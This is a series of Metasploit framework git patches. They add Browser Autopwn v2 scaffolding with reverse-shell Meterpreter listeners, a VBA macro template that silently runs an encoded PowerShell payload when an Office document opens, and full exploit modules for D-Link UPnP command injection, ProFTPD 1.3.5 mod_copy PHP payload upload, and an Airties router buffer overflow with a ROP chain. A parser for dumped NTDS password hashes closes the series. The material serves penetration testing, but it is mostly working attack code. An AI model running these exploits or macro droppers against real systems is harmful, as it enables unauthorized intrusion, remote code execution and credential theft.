|m| + next if m.rank != ranking + bap_groups[ranking] << m + end + end + bap_groups + end + + + # Modifies @bap_exploit by replacing it with the rearranged module list. + # + # @param [Hash] A grouped module list. + # @return [void] + def finalize_sorted_modules(bap_groups) + @bap_exploits = [] + bap_groups.each_pair do |ranking, module_list| + module_list.each do |m| + @bap_exploits << m + end + end + end + + + # Returns a list of suitable exploits for the current target. + # + # @return [Array] A list of suitable exploits to use against the target. def find_suitable_exploits(target_info) $stderr.puts target_info.inspect end @@ -186,9 +216,11 @@ module Msf super print_status("Searching BES exploits, please wait...") init_exploits + sort_bap_exploits + $stderr.puts + $stderr.puts list_bap_names print_status("#{@bap_exploits.length} BES exploits found.") end - end end From b5335ab2660449625c0d178b5fa151702c1efbf3 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 19:03:08 -0500 Subject: [PATCH 0011/1013] Some progress, mostly documentation --- lib/msf/core/exploit/browserautopwnv2.rb | 27 ++++++++++++++++++----- modules/exploits/multi/browser/autopwn.rb | 1 - 2 files changed, 22 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 2dfa8ca381..5dd1633a8a 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -9,9 +9,12 @@ require 'Date' module Msf module Exploit::Remote::BrowserAutopwnv2 + # Exception specific for Msf::Exploit::Remote::BrowserAutopwnv2 + class BAPv2Exception < RuntimeError; end + include Msf::Exploit::Remote::BrowserExploitServer - # @return [Array] The exploit list BAP manages + # @return [Array] A list of initialized BAP exploits attr_reader :bap_exploits @@ -28,7 +31,8 @@ module Msf } - # Returns all the found exploit modules that support BrowserExploitServer. + # Returns all the found exploit modules that support BrowserExploitServer by going through all + # the exploits from the framework object. # # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. def init_exploit_paths @@ -39,8 +43,9 @@ module Msf end - # Initializes all found BES exploits. + # Initializes the @bap_exploits instance variable with all the found BAP exploits. # + # @see #bap_exploits The read-only attribute. # @return [void] def init_exploits @bap_exploits = [] # Initialized BES modules are held here @@ -58,7 +63,9 @@ module Msf end - # For debugging purposes. + # Prints BAP module names + # + # @return [void] def list_bap_names bap_exploits.each do |m| print_status(m.fullname) @@ -115,6 +122,7 @@ module Msf # And then we fall back to the module's platform. If there's nothing we can choose, # then we'll just use the generic reverse shell. # + # @see DEFAULT_PAYLOADS # @param [Class] The initialized exploit object. # @return [Hash] The default payload information from DEFAULT_PAYLOADS. def pick_default_payload(m) @@ -142,6 +150,11 @@ module Msf # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. # + # @see #bap_exploits The read-only attribute. + # @see #sort_date_in_group The method for sorting by disclosure date + # @see #sort_group_by_rank The method for sorting by rank + # @see #sort_bap_modules The method for breaking the module list into groups + # @see #finalize_sorted_modules The method for finalizing bap_exploits # @return [void] def sort_bap_exploits bap_groups = group_bap_modules @@ -171,7 +184,7 @@ module Msf end - # Breaks @bap_exploits into groups. + # Breaks @bap_exploits into groups for sorting purposes. # # @return [Hash] A module list grouped by rank. def group_bap_modules @@ -189,6 +202,7 @@ module Msf # Modifies @bap_exploit by replacing it with the rearranged module list. # + # @see #bap_exploits The read-only attribute. # @param [Hash] A grouped module list. # @return [void] def finalize_sorted_modules(bap_groups) @@ -203,6 +217,7 @@ module Msf # Returns a list of suitable exploits for the current target. # + # @param [Hash] Target's information such as the OS, browser, 3rd-party plugins, etc. # @return [Array] A list of suitable exploits to use against the target. def find_suitable_exploits(target_info) $stderr.puts target_info.inspect @@ -211,6 +226,8 @@ module Msf # Sets up BAPv2. This is like our main function. # + # @see #init_exploits + # @see #sort_bap_exploits # @return [void] def setup super diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index ddd3d93e8b..1edbcc95aa 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -41,7 +41,6 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0)) end - def on_request_exploit(cli, request, target_info) $stderr.puts get_target.inspect $stderr.puts find_suitable_exploits(target_info) From 0282b433e9d95640640991e81d2e07b840103bbd Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 21:33:10 -0500 Subject: [PATCH 0012/1013] Payload sort of works --- lib/msf/core/exploit/browserautopwnv2.rb | 36 +++++++++++++++++++++--- 1 file changed, 32 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 5dd1633a8a..426477221f 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -26,7 +26,7 @@ module Msf 'osx' => { 'payload' => 'osx/meterpreter/reverse_tcp', 'lport' => 4446 }, 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, +# 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } } @@ -34,6 +34,8 @@ module Msf # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # + # @note This method is using framework.exploits and it's one of the reasons why it's so slow. + # @todo Maybe look for a different way to get a list of exploits. # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. def init_exploit_paths framework.exploits.find_all do |m| @@ -84,7 +86,7 @@ module Msf xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP - xploit.datastore['URI'] = "/#{assign_module_resource}" + xploit.datastore['URI'] = "/#{assign_module_resource}" # A unique resource URI for the exploit end @@ -215,6 +217,29 @@ module Msf end + # Creates payload listeners. + # + # @note INCOMPLETE + # @return [void] + def start_payload_listeners + DEFAULT_PAYLOADS.each_pair do |platform, listener_info| + multi_handler = framework.modules.create('exploit/multi/handler') + multi_handler.datastore['PAYLOAD'] = listener_info['payload'] + multi_handler.datastore['LPORT'] = listener_info['lport'] + multi_handler.datastore['EXITONSESSION'] = false + multi_handler.datastore['EXITFUNC'] = 'thread' +# multi_handler.datastore['ReverseListenerBindAddress'] = datastore['ReverseListenerBindAddress'] + multi_handler.exploit_simple( + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Payload' => listener_info['payload'], + 'RunAsJob' => true + ) + $stderr.puts multi_handler.inspect + end + end + + # Returns a list of suitable exploits for the current target. # # @param [Hash] Target's information such as the OS, browser, 3rd-party plugins, etc. @@ -234,9 +259,12 @@ module Msf print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits - $stderr.puts - $stderr.puts list_bap_names +# $stderr.puts +# $stderr.puts list_bap_names print_status("#{@bap_exploits.length} BES exploits found.") + + print_status("Starting listeners...") + start_payload_listeners end end From 71728c5c0340de28ea570c871529cd5eba89e3b7 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 15 Apr 2015 01:10:55 -0500 Subject: [PATCH 0013/1013] Changes --- lib/msf/core/exploit/browserautopwnv2.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 426477221f..03789a10f5 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -255,6 +255,7 @@ module Msf # @see #sort_bap_exploits # @return [void] def setup + t1 = Time.now super print_status("Searching BES exploits, please wait...") init_exploits @@ -265,6 +266,8 @@ module Msf print_status("Starting listeners...") start_payload_listeners + t2 = Time.now + $stderr.puts (t2-t1).inspect end end From b229e87940bc519471e783b6adb9470607805ea0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 17 Apr 2015 16:51:53 +0100 Subject: [PATCH 0014/1013] Create VBA powershell --- .../scripts/to_powershell.vba.template | 12 ++++++++ lib/msf/util/exe.rb | 30 +++++++++++++++++++ 2 files changed, 42 insertions(+) create mode 100644 data/templates/scripts/to_powershell.vba.template diff --git a/data/templates/scripts/to_powershell.vba.template b/data/templates/scripts/to_powershell.vba.template new file mode 100644 index 0000000000..b56d930ae1 --- /dev/null +++ b/data/templates/scripts/to_powershell.vba.template @@ -0,0 +1,12 @@ +Sub %{sub_auto_open}() + Dim %{var_powershell} + %{var_powershell} = %{powershell} + Call Shell(%{var_powershell}, vbHide) +End Sub +Sub AutoOpen() + %{sub_auto_open} +End Sub +Sub Workbook_Open() + %{sub_auto_open} +End Sub + diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 3e1f19860e..909a98e161 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1001,6 +1001,33 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_mem.vba.template", hash_sub) end + def self.to_powershell_vba(framework, arch, code) + template_path = File.join(Msf::Config.data_directory, + "templates", + "scripts") + + powershell = Rex::Powershell::Command.cmd_psh_payload(code, + arch, + template_path, + encode_final_payload: true, + remove_comspec: true, + method: 'reflection') + + # Intialize rig and value names + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:sub_auto_open) + rig.init_var(:var_powershell) + + hash_sub = rig.to_h + # VBA has a maximum of 24 line continuations + line_length = powershell.length / 24 + vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"' + + hash_sub[:powershell] = vba_psh + + read_replace_script_template("to_powershell.vba.template", hash_sub) + end + def self.to_exe_vbs(exes = '', opts = {}) delay = opts[:delay] || 5 persist = opts[:persist] || false @@ -1904,6 +1931,8 @@ require 'msf/core/exe/segment_appender' when 'vba-exe' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) Msf::Util::EXE.to_exe_vba(exe) + when 'vba-psh' + Msf::Util::EXE.to_powershell_vba(framework, arch, code) when 'vbs' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) @@ -1950,6 +1979,7 @@ require 'msf/core/exe/segment_appender' "psh-cmd", "vba", "vba-exe", + "vba-psh", "vbs", "war" ] From b991dec0f953532bf2a034b76f735b3ad2303b3c Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Fri, 17 Apr 2015 22:54:32 +0200 Subject: [PATCH 0015/1013] Dlink UPnP SOAP-Header Injection --- .../http/dlink_upnp_header_exec_noauth.rb | 134 ++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb diff --git a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb new file mode 100644 index 0000000000..7407e68ce7 --- /dev/null +++ b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices UPnP SOAPAction-Header Command Execution', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + interface. Since it is a blind OS command injection vulnerability, there is no + output for the executed command. This module has been tested on a DIR-645 device. + The following devices are also reported as affected: + DAP-1522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB + DIR-815 revB, DIR-300 revB, DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR + }, + 'Author' => + [ + 'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645 + 'Craig Heffner', # independent Vulnerability discovery on different other routers + 'Michael Messner ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'], + ['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/'] + ], + 'DisclosureDate' => 'Feb 13 2015', + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0 + )) + end + + def check + uri = '/HNAP1/' + soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings" + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'headers' => { + 'SOAPAction' => soapaction, + }, + }) + if res && [200].include?(res.code) && res.body =~ /D-Link/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the device ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + + telnetport = rand(32767) + 32768 + + cmd = "telnetd -p #{telnetport}" + + execute_command(cmd) + + handle_telnet(telnetport) + end + + def handle_telnet(telnetport) + + begin + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + + if sock + print_good("#{peer} - Backdoor service spawned") + add_socket(sock) + else + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned") + end + + print_status "Starting a Telnet session #{rhost}:#{telnetport}" + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => nil, + 'PASSWORD' => nil + } + start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) + rescue + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not handled") + end + return + end + + def execute_command(cmd) + + uri = '/HNAP1/' + + soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd}`" + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'headers' => { + 'SOAPAction' => soapaction, + }, + },1) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end From 92c91c76f749883db71a2a258aa9f9e2c6948781 Mon Sep 17 00:00:00 2001 From: xistence Date: Wed, 22 Apr 2015 01:41:16 -0400 Subject: [PATCH 0016/1013] Proftpd 1.3.5 Mod_Copy Command Execution --- .../exploits/unix/ftp/proftpd_modcopy_exec.rb | 147 ++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 modules/exploits/unix/ftp/proftpd_modcopy_exec.rb diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb new file mode 100644 index 0000000000..8d803b2338 --- /dev/null +++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution', + 'Description' => %q{ + This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5. + Any unauthenticated client can leverage these commands to copy files from any + part of the filesystem to a chosen destination. The copy commands are executed with + the rights of the ProFTPD service, which by default runs under the privileges of the + 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website + directory, PHP remote code execution is made possible. + }, + 'Author' => + [ + 'Vadim Melihow', # Original discovery, Proof of Concept + 'xistence ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-3306'], + [ 'EDB', '36742' ], + ], + 'Privileged' => false, + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'BadChars' => '', + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic gawk bash python perl', + } + }, + 'Targets' => + [ + [ 'ProFTPD 1.3.5', { } ], + ], + 'DisclosureDate' => 'Apr 22 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('RPORT', [true, 'HTTP port', 80]), + OptPort.new('RPORT_FTP', [true, 'FTP port', 21]), + OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']), + OptString.new('TARGETURI', [true, 'Base path to the website', '/']) + ], self.class) + end + + def check + ftp_port = datastore['RPORT_FTP'] + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => ftp_port }) + + if sock.nil? + fail_with(Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{ftp_port} - Connected to FTP server") + end + + res = sock.get_once(-1,10) + unless ( res and res =~ /220/ ) + fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") + end + + sock.puts("SITE CPFR /etc/passwd\r\n") + res = sock.get_once(-1,10) + if res and res =~ /350/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def exploit + + ftp_port = datastore['RPORT_FTP'] + get_arg = rand_text_alphanumeric(5+rand(3)) + payload_name = rand_text_alphanumeric(5+rand(3)) + '.php' + + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => ftp_port }) + + if sock.nil? + fail_with(Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{ftp_port} - Connected to FTP server") + end + + res = sock.get_once(-1,10) + unless ( res and res =~ /220/ ) + fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") + end + + print_status("#{rhost}:21 - Sending copy commands to FTP server") + + sock.puts("SITE CPFR /proc/self/cmdline\r\n") + res = sock.get_once(-1,10) + unless ( res and res =~ /350/ ) + fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline") + end + + sock.put("SITE CPTO /tmp/.\r\n") + res = sock.get_once(-1,10) + unless ( res and res =~ /250/ ) + fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file") + end + + sock.put("SITE CPFR /tmp/.\r\n") + res = sock.get_once(-1,10) + unless ( res and res =~ /350/ ) + fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file") + end + + sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n") + res = sock.get_once(-1,10) + unless ( res and res =~ /250/ ) + fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?") + end + + sock.close + + print_status("#{peer} - Executing PHP payload #{target_uri.path}#{payload_name}") + res = send_request_cgi!({ + 'uri' => normalize_uri(target_uri.path, payload_name), + 'method' => 'GET', + 'vars_get' => { get_arg => "nohup #{payload.encoded} &" }, + }) + + unless ( res and res.code == 200 ) + fail_with(Failure::Unknown, "#{rhost}:21 - Failure executing payload") + end + + end +end From 58099d046968b14823f8f3b37adbc7746f0294ef Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Wed, 22 Apr 2015 10:21:58 +0200 Subject: [PATCH 0017/1013] airties login bof module --- .../linux/http/airties_login_cgi_bof.rb | 121 ++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 modules/exploits/linux/http/airties_login_cgi_bof.rb diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb new file mode 100644 index 0000000000..d1679dd6a2 --- /dev/null +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Airties login cgi Buffer Overflow', + 'Description' => %q{ + This module exploits an remote buffer overflow vulnerability on several Airties routers. + The vulnerability exists in the handling of HTTP queries to the login cgi with + long redirect parameter values. The vulnerability can be exploitable without authentication. + This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin + in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, + Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. + }, + 'Author' => + [ + 'Batuhan Burakcin ', # discovered the vulnerability + 'Michael Messner ', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['EDB', '36577'], + ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory + ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'], #PoC + ], + 'Targets' => + [ + [ 'AirTies_Air5650v3TT_FW_1.0.2.0', + { + 'Offset' => 359, + 'LibcBase' => 0x2aad1000, + 'RestoreReg' => 0x0003FE20, # restore s-registers + 'System' => 0x0003edff, # address of system-1 + 'CalcSystem' => 0x000111EC, # calculate the correct address of system + 'CallSystem' => 0x00041C10, # call our system + 'PrepareSystem' => 0x000215b8, # prepare $a0 for our system call + } + ] + ], + 'DisclosureDate' => 'Mar 31 2015', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/cgi-bin/login", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 100 + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values + shellcode << rand_text_alpha_upper(36) # padding + shellcode << [target['LibcBase'] + target['System']].pack("N") # s0 - system address-1 + shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("N") # $s5 - call system + shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7 + shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N") # write sp to $a0 -> parameter for call to system + shellcode << rand_text_alpha_upper(28) # padding + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N") # add 1 to s0 (calculate system address) + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/cgi-bin/login", + 'encode_params' => false, + 'vars_post' => { + 'redirect' => shellcode, + 'user' => rand_text_alpha(5), + 'password' => rand_text_alpha(8) + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end From 1ec0e09a43c94f649894d138ac0fb99dba2d6168 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Wed, 22 Apr 2015 10:32:47 +0200 Subject: [PATCH 0018/1013] msftidy --- modules/exploits/linux/http/airties_login_cgi_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index d1679dd6a2..c8d99dc030 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -13,13 +13,13 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Airties login cgi Buffer Overflow', + 'Name' => 'Airties login-cgi Buffer Overflow', 'Description' => %q{ This module exploits an remote buffer overflow vulnerability on several Airties routers. The vulnerability exists in the handling of HTTP queries to the login cgi with - long redirect parameter values. The vulnerability can be exploitable without authentication. + long redirect parameter values. The vulnerability can be exploitable without authentication. This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin - in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, + in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. }, 'Author' => From f5b0a7e08277d603623b4e1680821c465f44364c Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Thu, 23 Apr 2015 00:11:02 +0200 Subject: [PATCH 0019/1013] include rop gadget description --- .../linux/http/airties_login_cgi_bof.rb | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index c8d99dc030..ece3f68ec9 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -89,14 +89,43 @@ class Metasploit3 < Msf::Exploit::Remote def prepare_shellcode(cmd) shellcode = rand_text_alpha_upper(target['Offset']) # padding shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values + + # 0003FE20 lw $ra, 0x48+var_4($sp) + # 0003FE24 lw $s7, 0x48+var_8($sp) + # 0003FE28 lw $s6, 0x48+var_C($sp) + # 0003FE2C lw $s5, 0x48+var_10($sp) + # 0003FE30 lw $s4, 0x48+var_14($sp) + # 0003FE34 lw $s3, 0x48+var_18($sp) + # 0003FE38 lw $s2, 0x48+var_1C($sp) + # 0003FE3C lw $s1, 0x48+var_20($sp) + # 0003FE40 lw $s0, 0x48+var_24($sp) + # 0003FE44 jr $ra + # 0003FE48 addiu $sp, 0x48 + shellcode << rand_text_alpha_upper(36) # padding shellcode << [target['LibcBase'] + target['System']].pack("N") # s0 - system address-1 shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4 shellcode << [target['LibcBase'] + target['CallSystem']].pack("N") # $s5 - call system + + # 00041C10 move $t9, $s0 + # 00041C14 jalr $t9 + # 00041C18 nop + shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7 shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N") # write sp to $a0 -> parameter for call to system + + # 000215B8 addiu $a0, $sp, 0x20 + # 000215BC lw $ra, 0x1C($sp) + # 000215C0 jr $ra + # 000215C4 addiu $sp, 0x20 + shellcode << rand_text_alpha_upper(28) # padding shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N") # add 1 to s0 (calculate system address) + + # 000111EC move $t9, $s5 + # 000111F0 jalr $t9 + # 000111F4 addiu $s0, 1 + shellcode << cmd end From 6c77c4bb52d00b1b92051e5de5c775c9464ebf06 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 24 Apr 2015 15:50:12 -0500 Subject: [PATCH 0020/1013] opening groundwork added a priv extension method to open a stream channel to read ntdsaccounts from and an NTDS account class to accept the data and parse it into a useable structure MSP-12357 --- lib/metasploit/framework/ntds/account.rb | 81 +++++++++++++++++++ .../post/meterpreter/extensions/priv/priv.rb | 11 +++ .../post/meterpreter/extensions/priv/tlv.rb | 3 + 3 files changed, 95 insertions(+) create mode 100644 lib/metasploit/framework/ntds/account.rb diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb new file mode 100644 index 0000000000..2ac1cd44a1 --- /dev/null +++ b/lib/metasploit/framework/ntds/account.rb @@ -0,0 +1,81 @@ +module Metasploit + module Framework + module NTDS + # This class represents an NTDS account structure as sent back by Meterpreter's + # priv extension. + class Account + + attr_accessor :name + attr_accessor :description + attr_accessor :rid + attr_accessor :disabled + attr_accessor :locked + attr_accessor :no_pass + attr_accessor :no_expire + attr_accessor :expired + attr_accessor :logon_count + attr_accessor :nt_history_count + attr_accessor :lm_history_count + attr_accessor :expiry_date + attr_accessor :logon_date + attr_accessor :logon_time + attr_accessor :pass_date + attr_accessor :pass_time + attr_accessor :lm_hash + attr_accessor :nt_hash + attr_accessor :lm_history + attr_accessor :nt_history + attr_accessor :sid + + + def initialize(raw_data) + raise ArgumentError, "No Data Supplied" unless raw_data.present? + raise ArgumentError, "Invalid Data" unless raw_data.length == 3948 + data = raw_data.dup + @name = get_string(data,40) + @description = get_string(data,2048) + @rid = get_int(data) + @disabled = get_boolean(data) + @locked = get_boolean(data) + @no_pass = get_boolean(data) + @no_expire = get_boolean(data) + @expired = get_boolean(data) + @logon_count = get_int(data) + @nt_history_count = get_int(data) + @lm_history_count = get_int(data) + @expiry_data = get_string(data,30) + @logon_data = get_string(data,30) + @logon_time = get_string(data,30) + @pass_date = get_string(data,30) + @pass_time = get_string(data,30) + @lm_hash = get_string(data,33) + @nt_hash = get_string(data,33) + @lm_history = get_hash_history(data) + @nt_history = get_hash_history(data) + @sid = data + end + + private + + def get_boolean(data) + get_int(data) == 1 + end + + def get_hash_history(data) + raw_history = data.slice!(0,792) + 